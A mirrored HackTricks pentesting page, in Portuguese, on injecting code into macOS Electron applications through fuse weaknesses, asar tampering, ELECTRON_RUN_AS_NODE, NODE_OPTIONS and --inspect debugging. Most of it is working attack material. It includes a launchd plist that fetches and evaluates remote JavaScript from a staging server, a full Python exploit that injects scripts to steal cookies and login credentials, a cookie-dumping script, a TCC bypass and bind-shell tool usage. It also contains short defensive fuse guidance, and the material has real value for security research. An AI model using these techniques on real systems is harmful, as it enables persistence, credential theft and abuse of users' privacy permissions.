mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
481 lines
24 KiB
Markdown
481 lines
24 KiB
Markdown
# macOS Electron Applications Injection
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
Se você não sabe o que é Electron, pode encontrar [**muitas informações aqui**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Mas por enquanto, saiba apenas que o Electron executa **node**.\
|
||
E o node tem alguns **parâmetros** e **variáveis de ambiente** que podem ser usados para **fazer com que ele execute outro código** além do arquivo indicado.
|
||
|
||
### Electron Fuses
|
||
|
||
Essas técnicas serão discutidas a seguir, mas nos últimos tempos o Electron adicionou várias **flags de segurança para preveni-las**. Estas são as [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) e estas são as usadas para **prevenir** que aplicativos Electron no macOS **carreguem código arbitrário**:
|
||
|
||
- **`RunAsNode`**: Se desativado, impede o uso da variável de ambiente **`ELECTRON_RUN_AS_NODE`** para injetar código.
|
||
- **`EnableNodeCliInspectArguments`**: Se desativado, parâmetros como `--inspect`, `--inspect-brk` não serão respeitados. Evitando assim a injeção de código.
|
||
- **`EnableEmbeddedAsarIntegrityValidation`**: Se ativado, o **arquivo** **`asar`** carregado será **validado** pelo macOS. **Prevenindo** assim a **injeção de código** ao modificar o conteúdo deste arquivo.
|
||
- **`OnlyLoadAppFromAsar`**: Se isso estiver ativado, em vez de procurar carregar na seguinte ordem: **`app.asar`**, **`app`** e finalmente **`default_app.asar`**. Ele apenas verificará e usará app.asar, garantindo assim que, quando **combinado** com a fuse **`embeddedAsarIntegrityValidation`**, é **impossível** **carregar código não validado**.
|
||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Se ativado, o processo do navegador usa o arquivo chamado `browser_v8_context_snapshot.bin` para seu snapshot V8.
|
||
|
||
Outra fuse interessante que não estará prevenindo a injeção de código é:
|
||
|
||
- **EnableCookieEncryption**: Se ativado, o armazenamento de cookies no disco é criptografado usando chaves de criptografia em nível de SO.
|
||
|
||
### Checking Electron Fuses
|
||
|
||
Você pode **verificar essas flags** de um aplicativo com:
|
||
```bash
|
||
npx @electron/fuses read --app /Applications/Slack.app
|
||
|
||
Analyzing app: Slack.app
|
||
Fuse Version: v1
|
||
RunAsNode is Disabled
|
||
EnableCookieEncryption is Enabled
|
||
EnableNodeOptionsEnvironmentVariable is Disabled
|
||
EnableNodeCliInspectArguments is Disabled
|
||
EnableEmbeddedAsarIntegrityValidation is Enabled
|
||
OnlyLoadAppFromAsar is Enabled
|
||
LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||
```
|
||
### Modificando Fuses do Electron
|
||
|
||
Como os [**docs mencionam**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), a configuração dos **Fuses do Electron** é configurada dentro do **binário do Electron** que contém em algum lugar a string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||
|
||
Em aplicações macOS, isso está tipicamente em `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||
```bash
|
||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||
```
|
||
Você pode carregar este arquivo em [https://hexed.it/](https://hexed.it/) e procurar pela string anterior. Após esta string, você pode ver em ASCII um número "0" ou "1" indicando se cada fusível está desativado ou ativado. Basta modificar o código hex (`0x30` é `0` e `0x31` é `1`) para **modificar os valores dos fusíveis**.
|
||
|
||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Note que se você tentar **sobrescrever** o **`Electron Framework` binary** dentro de um aplicativo com esses bytes modificados, o aplicativo não funcionará.
|
||
|
||
## RCE adicionando código a Aplicações Electron
|
||
|
||
Podem existir **arquivos JS/HTML externos** que um App Electron está usando, então um atacante poderia injetar código nesses arquivos cuja assinatura não será verificada e executar código arbitrário no contexto do aplicativo.
|
||
|
||
> [!CAUTION]
|
||
> No entanto, no momento, existem 2 limitações:
|
||
>
|
||
> - A permissão **`kTCCServiceSystemPolicyAppBundles`** é **necessária** para modificar um App, então por padrão isso não é mais possível.
|
||
> - O arquivo compilado **`asap`** geralmente tem os fusíveis **`embeddedAsarIntegrityValidation`** `e` **`onlyLoadAppFromAsar`** `ativados`
|
||
>
|
||
> Tornando este caminho de ataque mais complicado (ou impossível).
|
||
|
||
Note que é possível contornar a exigência de **`kTCCServiceSystemPolicyAppBundles`** copiando o aplicativo para outro diretório (como **`/tmp`**), renomeando a pasta **`app.app/Contents`** para **`app.app/NotCon`**, **modificando** o arquivo **asar** com seu código **malicioso**, renomeando-o de volta para **`app.app/Contents`** e executando-o.
|
||
|
||
Você pode descompactar o código do arquivo asar com:
|
||
```bash
|
||
npx asar extract app.asar app-decomp
|
||
```
|
||
E empacote-o novamente após tê-lo modificado com:
|
||
```bash
|
||
npx asar pack app-decomp app-new.asar
|
||
```
|
||
## RCE com ELECTRON_RUN_AS_NODE
|
||
|
||
De acordo com [**a documentação**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), se essa variável de ambiente estiver definida, ela iniciará o processo como um processo normal do Node.js.
|
||
```bash
|
||
# Run this
|
||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||
# Then from the nodeJS console execute:
|
||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||
```
|
||
> [!CAUTION]
|
||
> Se o fuse **`RunAsNode`** estiver desativado, a variável de ambiente **`ELECTRON_RUN_AS_NODE`** será ignorada, e isso não funcionará.
|
||
|
||
### Injeção do Plist do App
|
||
|
||
Como [**proposto aqui**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), você pode abusar dessa variável de ambiente em um plist para manter a persistência:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
<plist version="1.0">
|
||
<dict>
|
||
<key>EnvironmentVariables</key>
|
||
<dict>
|
||
<key>ELECTRON_RUN_AS_NODE</key>
|
||
<string>true</string>
|
||
</dict>
|
||
<key>Label</key>
|
||
<string>com.xpnsec.hideme</string>
|
||
<key>ProgramArguments</key>
|
||
<array>
|
||
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
|
||
<string>-e</string>
|
||
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
|
||
</array>
|
||
<key>RunAtLoad</key>
|
||
<true/>
|
||
</dict>
|
||
</plist>
|
||
```
|
||
## RCE com `NODE_OPTIONS`
|
||
|
||
Você pode armazenar a carga útil em um arquivo diferente e executá-la:
|
||
```bash
|
||
# Content of /tmp/payload.js
|
||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
|
||
|
||
# Execute
|
||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||
```
|
||
> [!CAUTION]
|
||
> Se o fuse **`EnableNodeOptionsEnvironmentVariable`** estiver **desativado**, o aplicativo **ignorar**á a variável de ambiente **NODE_OPTIONS** ao ser iniciado, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que também será **ignorada** se o fuse **`RunAsNode`** estiver desativado.
|
||
>
|
||
> Se você não definir **`ELECTRON_RUN_AS_NODE`**, você encontrará o **erro**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||
|
||
### Injeção do Plist do App
|
||
|
||
Você pode abusar dessa variável de ambiente em um plist para manter a persistência adicionando essas chaves:
|
||
```xml
|
||
<dict>
|
||
<key>EnvironmentVariables</key>
|
||
<dict>
|
||
<key>ELECTRON_RUN_AS_NODE</key>
|
||
<string>true</string>
|
||
<key>NODE_OPTIONS</key>
|
||
<string>--require /tmp/payload.js</string>
|
||
</dict>
|
||
<key>Label</key>
|
||
<string>com.hacktricks.hideme</string>
|
||
<key>RunAtLoad</key>
|
||
<true/>
|
||
</dict>
|
||
```
|
||
## RCE com inspeção
|
||
|
||
De acordo com [**este**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), se você executar um aplicativo Electron com flags como **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`**, uma **porta de depuração será aberta** para que você possa se conectar a ela (por exemplo, do Chrome em `chrome://inspect`) e você poderá **injetar código nela** ou até mesmo iniciar novos processos.\
|
||
Por exemplo:
|
||
```bash
|
||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||
# Connect to it using chrome://inspect and execute a calculator with:
|
||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||
```
|
||
Em [**este post do blog**](https://hackerone.com/reports/1274695), esse debugging é abusado para fazer um chrome headless **baixar arquivos arbitrários em locais arbitrários**.
|
||
|
||
> [!TIP]
|
||
> Se um aplicativo tem sua própria maneira de verificar se variáveis de ambiente ou parâmetros como `--inspect` estão definidos, você pode tentar **bypass** isso em tempo de execução usando o argumento `--inspect-brk`, que irá **parar a execução** no início do aplicativo e executar um bypass (sobrescrevendo os argumentos ou as variáveis de ambiente do processo atual, por exemplo).
|
||
|
||
O seguinte foi um exploit que, monitorando e executando o aplicativo com o parâmetro `--inspect-brk`, foi possível contornar a proteção personalizada que ele tinha (sobrescrevendo os parâmetros do processo para remover `--inspect-brk`) e, em seguida, injetando um payload JS para despejar cookies e credenciais do aplicativo:
|
||
```python
|
||
import asyncio
|
||
import websockets
|
||
import json
|
||
import requests
|
||
import os
|
||
import psutil
|
||
from time import sleep
|
||
|
||
INSPECT_URL = None
|
||
CONT = 0
|
||
CONTEXT_ID = None
|
||
NAME = None
|
||
UNIQUE_ID = None
|
||
|
||
JS_PAYLOADS = """
|
||
var { webContents } = require('electron');
|
||
var fs = require('fs');
|
||
|
||
var wc = webContents.getAllWebContents()[0]
|
||
|
||
|
||
function writeToFile(filePath, content) {
|
||
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
|
||
|
||
fs.writeFile(filePath, data, (err) => {
|
||
if (err) {
|
||
console.error(`Error writing to file ${filePath}:`, err);
|
||
} else {
|
||
console.log(`File written successfully at ${filePath}`);
|
||
}
|
||
});
|
||
}
|
||
|
||
function get_cookies() {
|
||
intervalIdCookies = setInterval(() => {
|
||
console.log("Checking cookies...");
|
||
wc.session.cookies.get({})
|
||
.then((cookies) => {
|
||
tokenCookie = cookies.find(cookie => cookie.name === "token");
|
||
if (tokenCookie){
|
||
writeToFile("/tmp/cookies.txt", cookies);
|
||
clearInterval(intervalIdCookies);
|
||
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
|
||
}
|
||
})
|
||
}, 1000);
|
||
}
|
||
|
||
function get_creds() {
|
||
in_location = false;
|
||
intervalIdCreds = setInterval(() => {
|
||
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
|
||
in_location = true;
|
||
console.log("Injecting creds logger...");
|
||
wc.executeJavaScript(`
|
||
(function() {
|
||
email = document.getElementById('login_email_id');
|
||
password = document.getElementById('login_password_id');
|
||
if (password && email) {
|
||
return email.value+":"+password.value;
|
||
}
|
||
})();
|
||
`).then(result => {
|
||
writeToFile("/tmp/victim_credentials.txt", result);
|
||
})
|
||
}
|
||
else if (in_location) {
|
||
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
|
||
clearInterval(intervalIdCreds);
|
||
}
|
||
}, 10); // Check every 10ms
|
||
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
|
||
}
|
||
|
||
get_cookies();
|
||
get_creds();
|
||
console.log("Payloads injected");
|
||
"""
|
||
|
||
async def get_debugger_url():
|
||
"""
|
||
Fetch the local inspector's WebSocket URL from the JSON endpoint.
|
||
Assumes there's exactly one debug target.
|
||
"""
|
||
global INSPECT_URL
|
||
|
||
url = "http://127.0.0.1:9229/json"
|
||
response = requests.get(url)
|
||
data = response.json()
|
||
if not data:
|
||
raise RuntimeError("No debug targets found on port 9229.")
|
||
# data[0] should contain an object with "webSocketDebuggerUrl"
|
||
ws_url = data[0].get("webSocketDebuggerUrl")
|
||
if not ws_url:
|
||
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
|
||
INSPECT_URL = ws_url
|
||
|
||
|
||
async def monitor_victim():
|
||
print("Monitoring victim process...")
|
||
found = False
|
||
while not found:
|
||
sleep(1) # Check every second
|
||
for process in psutil.process_iter(attrs=['pid', 'name']):
|
||
try:
|
||
# Check if the process name contains "victim"
|
||
if process.info['name'] and 'victim' in process.info['name']:
|
||
found = True
|
||
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
|
||
os.kill(process.info['pid'], 9) # Force kill the process
|
||
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
|
||
# Handle processes that might have terminated or are inaccessible
|
||
pass
|
||
os.system("open /Applications/victim.app --args --inspect-brk")
|
||
|
||
async def bypass_protections():
|
||
global CONTEXT_ID, NAME, UNIQUE_ID
|
||
print(f"Connecting to {INSPECT_URL} ...")
|
||
|
||
async with websockets.connect(INSPECT_URL) as ws:
|
||
data = await send_cmd(ws, "Runtime.enable", get_first=True)
|
||
CONTEXT_ID = data["params"]["context"]["id"]
|
||
NAME = data["params"]["context"]["name"]
|
||
UNIQUE_ID = data["params"]["context"]["uniqueId"]
|
||
|
||
sleep(1)
|
||
|
||
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
|
||
|
||
await send_cmd(ws, "Profiler.enable")
|
||
|
||
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
|
||
|
||
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
|
||
|
||
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
|
||
|
||
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
|
||
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
|
||
print("Injected code to bypass protections")
|
||
|
||
|
||
async def js_payloads():
|
||
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
|
||
|
||
print(f"Connecting to {INSPECT_URL} ...")
|
||
|
||
async with websockets.connect(INSPECT_URL) as ws:
|
||
data = await send_cmd(ws, "Runtime.enable", get_first=True)
|
||
CONTEXT_ID = data["params"]["context"]["id"]
|
||
NAME = data["params"]["context"]["name"]
|
||
UNIQUE_ID = data["params"]["context"]["uniqueId"]
|
||
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
|
||
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
|
||
|
||
|
||
|
||
async def main():
|
||
await monitor_victim()
|
||
sleep(3)
|
||
await get_debugger_url()
|
||
await bypass_protections()
|
||
|
||
sleep(7)
|
||
|
||
await js_payloads()
|
||
|
||
|
||
|
||
async def send_cmd(ws, method, get_first=False, params={}):
|
||
"""
|
||
Send a command to the inspector and read until we get a response with matching "id".
|
||
"""
|
||
global CONT
|
||
|
||
CONT += 1
|
||
|
||
# Send the command
|
||
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
|
||
sleep(0.4)
|
||
|
||
# Read messages until we get our command result
|
||
while True:
|
||
response = await ws.recv()
|
||
data = json.loads(response)
|
||
|
||
# Print for debugging
|
||
print(f"[{method} / {CONT}] ->", data)
|
||
|
||
if get_first:
|
||
return data
|
||
|
||
# If this message is a response to our command (by matching "id"), break
|
||
if data.get("id") == CONT:
|
||
return data
|
||
|
||
# Otherwise it's an event or unrelated message; keep reading
|
||
|
||
if __name__ == "__main__":
|
||
asyncio.run(main())
|
||
```
|
||
> [!CAUTION]
|
||
> Se o fuse **`EnableNodeCliInspectArguments`** estiver desativado, o aplicativo **ignorarão os parâmetros do node** (como `--inspect`) quando iniciado, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que também será **ignorada** se o fuse **`RunAsNode`** estiver desativado.
|
||
>
|
||
> No entanto, você ainda pode usar o **parâmetro electron `--remote-debugging-port=9229`**, mas o payload anterior não funcionará para executar outros processos.
|
||
|
||
Usando o parâmetro **`--remote-debugging-port=9222`**, é possível roubar algumas informações do aplicativo Electron, como o **histórico** (com comandos GET) ou os **cookies** do navegador (já que eles são **decriptados** dentro do navegador e há um **endpoint json** que os fornecerá).
|
||
|
||
Você pode aprender como fazer isso [**aqui**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) e [**aqui**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) e usar a ferramenta automática [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ou um script simples como:
|
||
```python
|
||
import websocket
|
||
ws = websocket.WebSocket()
|
||
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
|
||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||
print(ws.recv()
|
||
```
|
||
### Injeção do Plist do App
|
||
|
||
Você pode abusar dessa variável de ambiente em um plist para manter a persistência adicionando essas chaves:
|
||
```xml
|
||
<dict>
|
||
<key>ProgramArguments</key>
|
||
<array>
|
||
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
|
||
<string>--inspect</string>
|
||
</array>
|
||
<key>Label</key>
|
||
<string>com.hacktricks.hideme</string>
|
||
<key>RunAtLoad</key>
|
||
<true/>
|
||
</dict>
|
||
```
|
||
## Bypass TCC abusando de Versões Antigas
|
||
|
||
> [!TIP]
|
||
> O daemon TCC do macOS não verifica a versão executada da aplicação. Portanto, se você **não conseguir injetar código em uma aplicação Electron** com nenhuma das técnicas anteriores, você pode baixar uma versão anterior do APP e injetar código nela, pois ainda obterá as permissões TCC (a menos que o Trust Cache impeça).
|
||
|
||
## Executar Código não JS
|
||
|
||
As técnicas anteriores permitirão que você execute **código JS dentro do processo da aplicação electron**. No entanto, lembre-se de que os **processos filhos são executados sob o mesmo perfil de sandbox** que a aplicação pai e **herdam suas permissões TCC**.\
|
||
Portanto, se você quiser abusar de direitos para acessar a câmera ou o microfone, por exemplo, você pode simplesmente **executar outro binário a partir do processo**.
|
||
|
||
## Vulnerabilidades Notáveis do Electron no macOS (2023-2024)
|
||
|
||
### CVE-2023-44402 – Bypass de integridade ASAR
|
||
|
||
Electron ≤22.3.23 e várias pré-lançamentos 23-27 permitiram que um atacante com acesso de gravação à pasta `.app/Contents/Resources` contornasse as fusões `embeddedAsarIntegrityValidation` **e** `onlyLoadAppFromAsar`. O bug foi uma *confusão de tipo de arquivo* no verificador de integridade que permitiu que um **diretório chamado `app.asar`** fosse carregado em vez do arquivo validado, de modo que qualquer JavaScript colocado dentro desse diretório fosse executado quando o app fosse iniciado. Mesmo os fornecedores que seguiram as orientações de endurecimento e habilitaram ambas as fusões ainda estavam vulneráveis no macOS.
|
||
|
||
Versões do Electron corrigidas: **22.3.24**, **24.8.3**, **25.8.1**, **26.2.1** e **27.0.0-alpha.7**. Atacantes que encontrarem uma aplicação executando uma versão mais antiga podem sobrescrever `Contents/Resources/app.asar` com seu próprio diretório para executar código com os direitos TCC da aplicação.
|
||
|
||
### Cluster de CVE “RunAsNode” / “enableNodeCliInspectArguments” 2024
|
||
|
||
Em janeiro de 2024, uma série de CVEs (CVE-2024-23738 a CVE-2024-23743) destacou que muitos aplicativos Electron são enviados com as fusões **RunAsNode** e **EnableNodeCliInspectArguments** ainda habilitadas. Um atacante local pode, portanto, relançar o programa com a variável de ambiente `ELECTRON_RUN_AS_NODE=1` ou flags como `--inspect-brk` para transformá-lo em um processo *genérico* Node.js e herdar todas as permissões de sandbox e TCC da aplicação.
|
||
|
||
Embora a equipe do Electron tenha contestado a classificação de “crítico” e observado que um atacante já precisa de execução de código local, a questão ainda é valiosa durante a pós-exploração, pois transforma qualquer pacote Electron vulnerável em um binário *living-off-the-land* que pode, por exemplo, ler Contatos, Fotos ou outros recursos sensíveis anteriormente concedidos ao aplicativo de desktop.
|
||
|
||
Orientações defensivas dos mantenedores do Electron:
|
||
|
||
* Desative as fusões `RunAsNode` e `EnableNodeCliInspectArguments` em builds de produção.
|
||
* Use a nova API **UtilityProcess** se sua aplicação realmente precisar de um processo auxiliar Node.js em vez de reabilitar essas fusões.
|
||
|
||
## Injeção Automática
|
||
|
||
- [**electroniz3r**](https://github.com/r3ggi/electroniz3r)
|
||
|
||
A ferramenta [**electroniz3r**](https://github.com/r3ggi/electroniz3r) pode ser facilmente usada para **encontrar aplicações electron vulneráveis** instaladas e injetar código nelas. Esta ferramenta tentará usar a técnica **`--inspect`**:
|
||
|
||
Você precisa compilá-la você mesmo e pode usá-la assim:
|
||
```bash
|
||
# Find electron apps
|
||
./electroniz3r list-apps
|
||
|
||
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
|
||
║ Bundle identifier │ Path ║
|
||
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
|
||
com.microsoft.VSCode /Applications/Visual Studio Code.app
|
||
org.whispersystems.signal-desktop /Applications/Signal.app
|
||
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
|
||
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
|
||
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
|
||
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
|
||
com.github.GitHubClient /Applications/GitHub Desktop.app
|
||
com.ledger.live /Applications/Ledger Live.app
|
||
com.postmanlabs.mac /Applications/Postman.app
|
||
com.tinyspeck.slackmacgap /Applications/Slack.app
|
||
com.hnc.Discord /Applications/Discord.app
|
||
|
||
# Check if an app has vulenrable fuses vulenrable
|
||
## It will check it by launching the app with the param "--inspect" and checking if the port opens
|
||
/electroniz3r verify "/Applications/Discord.app"
|
||
|
||
/Applications/Discord.app started the debug WebSocket server
|
||
The application is vulnerable!
|
||
You can now kill the app using `kill -9 57739`
|
||
|
||
# Get a shell inside discord
|
||
## For more precompiled-scripts check the code
|
||
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
|
||
|
||
/Applications/Discord.app started the debug WebSocket server
|
||
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
|
||
Shell binding requested. Check `nc 127.0.0.1 12345`
|
||
```
|
||
- [https://github.com/boku7/Loki](https://github.com/boku7/Loki)
|
||
|
||
Loki foi projetado para criar backdoors em aplicações Electron substituindo os arquivos JavaScript das aplicações pelos arquivos JavaScript de Comando e Controle do Loki.
|
||
|
||
|
||
## Referências
|
||
|
||
- [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||
- [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks)
|
||
- [https://github.com/electron/electron/security/advisories/GHSA-7m48-wc93-9g85](https://github.com/electron/electron/security/advisories/GHSA-7m48-wc93-9g85)
|
||
- [https://www.electronjs.org/blog/statement-run-as-node-cves](https://www.electronjs.org/blog/statement-run-as-node-cves)
|
||
- [https://m.youtube.com/watch?v=VWQY5R2A6X8](https://m.youtube.com/watch?v=VWQY5R2A6X8)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|